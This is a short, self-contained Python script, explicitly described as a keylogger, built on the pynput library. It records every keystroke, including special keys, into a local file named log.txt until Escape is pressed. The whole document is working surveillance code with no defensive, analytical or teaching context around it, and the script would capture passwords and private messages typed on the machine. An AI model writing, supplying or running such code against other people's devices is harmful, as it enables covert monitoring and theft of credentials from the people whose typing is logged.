import pynput.keyboard

def on_press(key):
    """Function to be called when a key is pressed."""
    try:
        # Get the character representation of the key
        char = key.char
        # Log the character to the file
        with open("log.txt", "a") as f:
            f.write(char)
    except AttributeError:
        # Handle special keys (e.g., Space, Enter, Shift)
        special_key = str(key)
        # Log the name of the special key
        with open("log.txt", "a") as f:
            f.write(f" {special_key} ")

def on_release(key):
    """Function to be called when a key is released."""
    # Stop the listener if the Escape key is pressed
    if key == pynput.keyboard.Key.esc:
        return False

# Create a keyboard listener
with pynput.keyboard.Listener(
    on_press=on_press,
    on_release=on_release) as listener:
    # Start the listener and join it to the main thread
    listener.join()

print("Keylogger stopped.")